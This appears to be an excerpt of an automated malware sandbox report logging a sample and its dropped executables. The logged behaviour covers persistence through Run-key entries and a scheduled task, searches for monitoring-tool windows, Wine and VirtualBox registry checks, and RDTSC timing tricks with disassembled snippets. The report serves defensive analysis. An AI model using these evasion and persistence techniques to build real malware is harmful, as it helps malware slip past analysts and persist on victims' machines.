Source: C:\Users\user\AppData\Local\Temp\NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 805c374e44.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 805c374e44.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2de90f6e61.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2de90f6e61.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e65c930c15.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e65c930c15.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD92C8 second address: AD92DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FDDBD19A026h 0x0000000a jmp 00007FDDBD19A02Ah 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE4ADB second address: AE4AE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE4AE1 second address: AE4AE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE4AE5 second address: AE4AEF instructions: 0x00000000 rdtsc 0x00000002 jl 00007FDDBCB6A6C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE7409 second address: AE740E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE740E second address: AE7448 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDDBCB6A6D3h 0x00000008 push esi 0x00000009 pop esi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 mov edi, dword ptr [ebp+122D3047h] 0x00000016 push 00000000h 0x00000018 mov edi, dword ptr [ebp+122D3B15h] 0x0000001e call 00007FDDBCB6A6C9h 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE7448 second address: AE745D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDBD19A030h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE745D second address: AE7463 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE7463 second address: AE7483 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007FDDBD19A032h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE7483 second address: AE74AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c push esi 0x0000000d push edx 0x0000000e pop edx 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FDDBCB6A6D8h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE74AD second address: AE7536 instructions: 0x00000000 rdtsc 0x00000002 je 00007FDDBD19A026h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d push edi 0x0000000e jmp 00007FDDBD19A039h 0x00000013 pop edi 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 ja 00007FDDBD19A032h 0x0000001e jmp 00007FDDBD19A02Ch 0x00000023 pop eax 0x00000024 mov dword ptr [ebp+122D3C88h], ebx 0x0000002a push 00000003h 0x0000002c push edi 0x0000002d mov ecx, edi 0x0000002f pop esi 0x00000030 push 00000000h 0x00000032 mov cx, di 0x00000035 push 00000003h 0x00000037 mov ecx, dword ptr [ebp+122D31BFh] 0x0000003d call 00007FDDBD19A029h 0x00000042 pushad 0x00000043 jc 00007FDDBD19A02Ch 0x00000049 pushad 0x0000004a je 00007FDDBD19A026h 0x00000050 jp 00007FDDBD19A026h 0x00000056 popad 0x00000057 popad 0x00000058 push eax 0x00000059 pushad 0x0000005a pushad 0x0000005b pushad 0x0000005c popad 0x0000005d push edi 0x0000005e pop edi 0x0000005f popad 0x00000060 push eax 0x00000061 push edx 0x00000062 pushad 0x00000063 popad 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE7723 second address: AE7749 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edi 0x00000006 mov eax, dword ptr [eax] 0x00000008 jnl 00007FDDBCB6A6D4h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push ecx 0x00000013 pushad 0x00000014 push edi 0x00000015 pop edi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF9A33 second address: AF9A37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B09743 second address: B09747 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B09747 second address: B09767 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FDDBD19A026h 0x00000008 jmp 00007FDDBD19A02Dh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jnc 00007FDDBD19A026h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B09767 second address: B09783 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDBCB6A6D6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B076D1 second address: B0770B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jnl 00007FDDBD19A026h 0x00000009 jmp 00007FDDBD19A037h 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FDDBD19A035h 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0770B second address: B0770F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B07846 second address: B07860 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FDDBD19A026h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d push edx 0x0000000e jo 00007FDDBD19A026h 0x00000014 pop edx 0x00000015 popad 0x00000016 push ebx 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B07D8E second address: B07D98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B07D98 second address: B07D9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B07EF2 second address: B07EF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B07EF6 second address: B07F1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDBD19A033h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007FDDBD19A02Bh 0x00000011 push edi 0x00000012 pop edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B08040 second address: B08046 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B08046 second address: B0805C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FDDBD19A031h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B081F5 second address: B081F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0838A second address: B0838E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0838E second address: B083A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 jmp 00007FDDBCB6A6CFh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B08651 second address: B0869B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDBD19A02Ah 0x00000009 jmp 00007FDDBD19A02Fh 0x0000000e jmp 00007FDDBD19A036h 0x00000013 popad 0x00000014 pop edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FDDBD19A033h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0869B second address: B086C3 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FDDBCB6A6DEh 0x00000008 jmp 00007FDDBCB6A6D2h 0x0000000d jnl 00007FDDBCB6A6C6h 0x00000013 push eax 0x00000014 push edx 0x00000015 jc 00007FDDBCB6A6C6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B089B9 second address: B089BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B089BD second address: B089C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B089C1 second address: B089C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B08F2A second address: B08F30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B08F30 second address: B08F39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B08F39 second address: B08F43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FDDBCB6A6C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B08F43 second address: B08F47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0933F second address: B0934E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDDBCB6A6CBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0934E second address: B09352 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B09352 second address: B09364 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007FDDBCB6A6CCh 0x0000000c rdtsc
